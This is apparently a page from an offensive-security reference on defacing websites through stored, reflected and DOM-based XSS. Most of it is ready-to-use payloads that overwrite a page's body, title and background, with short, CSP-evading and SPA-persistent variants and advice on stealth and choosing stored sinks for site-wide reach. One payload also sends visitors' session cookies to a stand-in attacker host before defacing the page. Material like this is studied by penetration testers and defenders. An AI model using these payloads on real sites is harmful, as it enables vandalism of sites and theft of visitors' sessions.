Defacement
Defacement uses JavaScript executed via stored XSS to overwrite visible elements of a target page - background, title, and body content. Loud by design, useful for proof-of-impact screenshots and hacktivist demonstrations, but operationally inferior to silent data-theft payloads in every other case.
# Three primitives, combinable<script>document.body.style.background = "#141d2b"</script><script>document.title = "Owned"</script><script>document.body.innerHTML = "<h1>Defaced</h1>"</script>
# Or one combined payload<script> document.body.style.background = "#000"; document.title = "Owned"; document.body.innerHTML = '<center><h1 style="color:red">DEFACED</h1></center>';</script>Success indicator: every subsequent visitor to the affected page sees the modified content. For stored XSS the change persists until the underlying database record is cleaned. For reflected XSS it persists only for victims who click the crafted URL.
When defacement is the right tool
Section titled “When defacement is the right tool”Most XSS engagements should not use defacement. The standard payoff path is silent: steal session cookies (see XSS to session), exfiltrate data from authenticated pages, chain into CSRF for state changes (see XSS-CSRF chain). Each is quieter and more valuable.
Defacement is correct when:
| Scenario | Why defacement |
|---|---|
| Bug bounty proof-of-impact | A screenshot of a defaced page makes the report unambiguous in a way that “I read your document.cookie” doesn’t |
| Red team noise-generation | Sometimes the engagement wants the blue team to detect something; defacement is detectable by design |
| Hacktivism / authorized public-impact ops | When the objective explicitly is visible disruption |
| Time-limited persistence proof | ”I had write access at 15:42:00 UTC, observe this banner” |
| CTF / lab targets with no real users | No operational downside; impact is the flag-equivalent |
Defacement is wrong when:
- The engagement is data-theft focused (every defacement payload competes with a silent exfil payload)
- Other users will see the defacement and the engagement is meant to be undetected
- Stakeholders haven’t authorized “page modified” as an acceptable outcome
- The vulnerable page is heavily monitored (banner / SEO / brand-protection alerting)
When in doubt, deface a staging clone of the target if you have access, capture the screenshot, and use the silent payload against production.
The three defacement primitives
Section titled “The three defacement primitives”Background color or image
Section titled “Background color or image”// Solid colordocument.body.style.background = "#141d2b";document.body.style.background = "red";document.body.style.background = "rgb(20, 29, 43)";
// Image URLdocument.body.background = "https://attacker.example.com/banner.svg";
// Or CSS shorthanddocument.body.style.cssText = "background:#000 url(http://attacker/x.png) no-repeat center;";document.body.style.background is the CSS-style property setter (modern). document.body.background is the legacy HTML attribute (older browsers only, but still supported). Either works for solid disruption. For image-based defacement, the image needs to be hosted somewhere the target’s browser can reach - attacker-controlled HTTP server, public image host, or a data: URL embedded inline:
// data: URL embeds the image inline; no separate HTTP fetch neededdocument.body.style.backgroundImage = "url(data:image/svg+xml;base64,PHN2Zy...)";Page title
Section titled “Page title”document.title = "Owned by Squad-X";Affects the browser tab and history. Often the first thing a user notices because tab titles are visible even when the page itself isn’t focused. Often missed by attackers because they’re focused on body changes.
For added effect, animate the title:
let frames = ["O", "Ow", "Own", "Owne", "Owned"];let i = 0;setInterval(() => { document.title = frames[i++ % frames.length]; }, 500);The marquee effect is gratuitous in a real op but characteristic of hacktivist defacement.
Body content replacement
Section titled “Body content replacement”The biggest hammer - wipe everything and write your own HTML:
document.body.innerHTML = '<center><h1 style="color:red">Site Hacked</h1></center>';Replaces every child of <body>. The original page’s scripts, forms, navigation - all gone.
For preserved structure with subtle changes, target a specific element instead:
// Target by IDdocument.getElementById("main-content").innerHTML = "DEFACED";
// Target by tagdocument.getElementsByTagName("h1")[0].innerHTML = "Owned";
// jQuery if loaded$("#footer").html("Pwned by Squad-X");$("h1").html("DEFACED");document.getElementsByTagName("body")[0].innerHTML is equivalent to document.body.innerHTML. The full-body wipe is the most common form.
Combining the primitives
Section titled “Combining the primitives”A typical defacement payload combines all three for maximum visual impact:
<script> // Dark background - common defacement aesthetic document.body.style.background = "#000"; // Title for tab-level visibility document.title = "DEFACED"; // Replace entire body document.body.innerHTML = ` <center style="margin-top:20%"> <h1 style="color:#f00;font-family:monospace;font-size:80px">HACKED</h1> <p style="color:#fff;font-family:monospace;font-size:24px"> Site security: 0/10. Patch your XSS.<br> - Squad-X | Internet 1969–2024 </p> </center> `;</script>Pre-test the HTML in a local browser before embedding. Once injected, the original page’s CSS may not apply (you’ve replaced the body), so your inline style= attributes need to carry all the styling.
Building the payload via innerHTML template
Section titled “Building the payload via innerHTML template”For complex defacement, build the HTML as a multi-line template, then minify into a one-liner for injection:
<!-- defacement.html - design separately --><center style="margin-top: 20%; font-family: monospace;"> <h1 style="color: #f00; font-size: 80px;">PWNED</h1> <p style="color: #fff; font-size: 24px;"> by Squad-X </p> <img src="https://attacker.example.com/logo.svg" style="width: 200px;"></center>Minify:
$ cat defacement.html | tr '\n' ' ' | sed 's/ */ /g'<center style="margin-top: 20%; font-family: monospace;"> <h1 style="color: #f00; font-size: 80px;">PWNED</h1> <p style="color: #fff; font-size: 24px;"> by Squad-X </p> <img src="https://attacker.example.com/logo.svg" style="width: 200px;"> </center>Then embed in the payload:
<script>document.body.innerHTML = '<center style="margin-top: 20%; ...">...</center>';</script>Escape single quotes in the HTML if your wrapper uses them. JavaScript template literals (backticks) handle multi-line HTML cleanly:
<script>document.body.innerHTML = `<center>...</center>`;</script>Template literals also let you interpolate ${} expressions, useful if you want to embed dynamic content (the victim’s IP, the current time, exfiltrated data).
Persistent defacement via stored XSS
Section titled “Persistent defacement via stored XSS”For maximum durability, the payload should be injected into a stored XSS sink (see Stored XSS). Every page render fires the payload again - the defacement appears for every visitor.
Common stored XSS sinks suitable for defacement:
| Sink | Defacement scope |
|---|---|
| Public comment / forum post | Page-level - every viewer of that thread |
| User profile bio rendered on profile pages | Profile-level - every viewer of that user’s profile |
| Site-wide banner / announcement (admin-injectable) | Site-wide - every page of the application |
| Header/footer template field | Site-wide |
| Email signature rendered in webmail | Per-email-view |
Site-wide stored XSS is the textbook defacement-worthy finding. A single XSS into a header template can deface every page of the application until the database record is cleaned.
Removing the original content first
Section titled “Removing the original content first”Stored XSS payloads often appear inside the original page content (a comment in a comment list). The original page elements around the payload remain visible unless you explicitly remove them:
<script> // Wipe the original content, then write defacement document.body.innerHTML = '<h1>DEFACED</h1>';</script>If the payload is inside a constrained element (a <div class="comment">), document.body.innerHTML = ... reaches outside that container and wipes the whole body. The defacement fully replaces the original page.
For partial defacement (replacing only specific page sections), use targeted DOM manipulation:
<script> // Hide everything except your defacement target document.querySelectorAll("nav, header, footer").forEach(el => el.style.display = "none"); document.querySelector("main").innerHTML = '<h1>DEFACED</h1>';</script>Defacement via reflected XSS - per-victim only
Section titled “Defacement via reflected XSS - per-victim only”When the vulnerability is reflected (not stored), defacement only fires for victims who follow the crafted URL. The page isn’t actually modified on the server.
http://target/search?q=<script>document.body.innerHTML='DEFACED'</script>URL-encoded:
http://target/search?q=%3Cscript%3Edocument.body.innerHTML%3D%27DEFACED%27%3C%2Fscript%3EA reflected-XSS defacement is operationally weaker - it’s not really a defacement of the target, it’s a defacement of the victim’s view of the target. The page hasn’t changed for anyone who doesn’t follow your URL.
Useful for:
- Phishing-adjacent attacks where the victim sees a “compromised” version of the page and panics (low-grade social engineering)
- Bug bounty proof of stored-XSS-capable bug class even when only reflected is currently exploitable
- CTF where you control the victim’s click anyway
Not useful for actual public defacement - the target’s “real” page is unchanged.
DOM-based defacement
Section titled “DOM-based defacement”For DOM-based XSS, the same defacement primitives work - the payload runs entirely in the victim’s browser:
http://target/#<script>document.body.innerHTML='DEFACED'</script>The hash-fragment payload never reaches the server, so the server-side logs may not capture the attack. From the defender’s perspective, only the rendered page shows the defacement; the underlying HTML/database is clean.
See DOM-based XSS for the source-to-sink methodology that finds these sinks.
Anti-defacement defenses
Section titled “Anti-defacement defenses”Knowing what defenders deploy tells you what to expect:
| Defense | Effect on defacement |
|---|---|
Content Security Policy script-src 'self' | Blocks <script> injection unless attacker can host on same origin |
Output encoding (htmlspecialchars everywhere) | Blocks the XSS entirely; no defacement possible |
| Sanitizers (DOMPurify, sanitize-html) | Strips <script> and dangerous attributes from stored content |
| Page-integrity monitoring (canary text checks) | Defenders detect defacement within minutes; rollback automated |
| Brand-protection services (Google Safe Browsing) | Defaced pages get blacklisted; visitors see browser warnings |
These don’t matter for the XSS finding - defacement is just one possible payload. They matter for defacement specifically: a target with output encoding has no XSS to deface, and a target with brand-protection has defacement that doesn’t reach end users.
Operational risk profile
Section titled “Operational risk profile”Defacement payloads create the loudest possible XSS finding:
| Detector | Defacement signal |
|---|---|
| End users | Highly visible - title changes, content gone, page broken |
| Application monitoring (synthetic checks) | Often catches title/content changes within minutes |
| Customer support tickets | Spike in “site is broken” tickets within hours |
| Social media | ”@target your site is hacked” tweets within hours |
| Brand monitoring | Google Alerts, Reddit watch, etc. flag the change |
| WAF/IDS | Modern WAFs detect document.body.innerHTML patterns in request bodies |
| Page-integrity systems | Tripwire-style file integrity / DOM canary checks |
If the engagement requires stealth, do not deface. Even a brief defacement creates evidence: archive.org may snapshot it, customer screenshots may circulate, monitoring systems log it for incident review.
Defacement payload variations
Section titled “Defacement payload variations”Minimal - for length-restricted fields
Section titled “Minimal - for length-restricted fields”<svg onload=document.body.innerHTML='PWN'>35 bytes. Fits in most short-field XSS sinks.
CSP-respecting - when inline <script> is blocked
Section titled “CSP-respecting - when inline <script> is blocked”<svg onload="document.body.innerHTML='PWN'">Event handler attribute fires in many CSP-stripping setups (Sanitizer libraries that miss event handlers).
Persistent setInterval - to survive page navigation in SPAs
Section titled “Persistent setInterval - to survive page navigation in SPAs”<script> setInterval(() => { document.title = "DEFACED"; if (document.body) document.body.innerHTML = '<h1>HACKED</h1>'; }, 100);</script>Re-applies the defacement 10x per second. Useful in Single-Page Applications that re-render the body on route changes - the defacement persists across “page” changes within the SPA.
Defacement + cookie exfil chained
Section titled “Defacement + cookie exfil chained”The data-theft + visible-impact combo:
<script> // Quietly exfiltrate first (don't burn opportunity if defacement triggers detection) new Image().src = "http://attacker:8000/?c=" + btoa(document.cookie); // Then deface setTimeout(() => { document.body.innerHTML = '<h1>HACKED</h1>'; }, 1000);</script>The 1-second delay lets the cookie request fly before the visual change triggers user attention.
Quick reference
Section titled “Quick reference”| Task | Pattern |
|---|---|
| Change background color | document.body.style.background = "#000" |
| Change background image | document.body.background = "URL" or document.body.style.backgroundImage = "url(URL)" |
| Change page title | document.title = "DEFACED" |
| Replace body content | document.body.innerHTML = "HTML" |
| Replace specific element | document.getElementById("X").innerHTML = "HTML" |
| jQuery equivalent | $("body").html("HTML"), $("#x").html("HTML") |
| Combined defacement | document.body.style.background="#000"; document.title="X"; document.body.innerHTML="HTML" |
| Minify HTML for inline | cat file.html | tr '\n' ' ' | sed 's/ */ /g' |
| Multi-line HTML in JS | Use template literals: document.body.innerHTML = `<h1>X</h1>` |
| Length-restricted defacement | <svg onload=document.body.innerHTML='X'> |
| SPA-survival defacement | setInterval re-applying every 100ms |
| Exfil + deface combo | Cookie steal first, defacement on setTimeout |
| When NOT to deface | Stealth ops, data-theft engagements, monitored targets, anything that needs to stay undetected |
For the data-theft path that’s usually the better choice, see XSS to session. For impersonation attacks via fake login forms (the other common XSS attack pattern), see Phishing injection. For getting the XSS payload into the page in the first place, see Reflected, Stored, and DOM-based.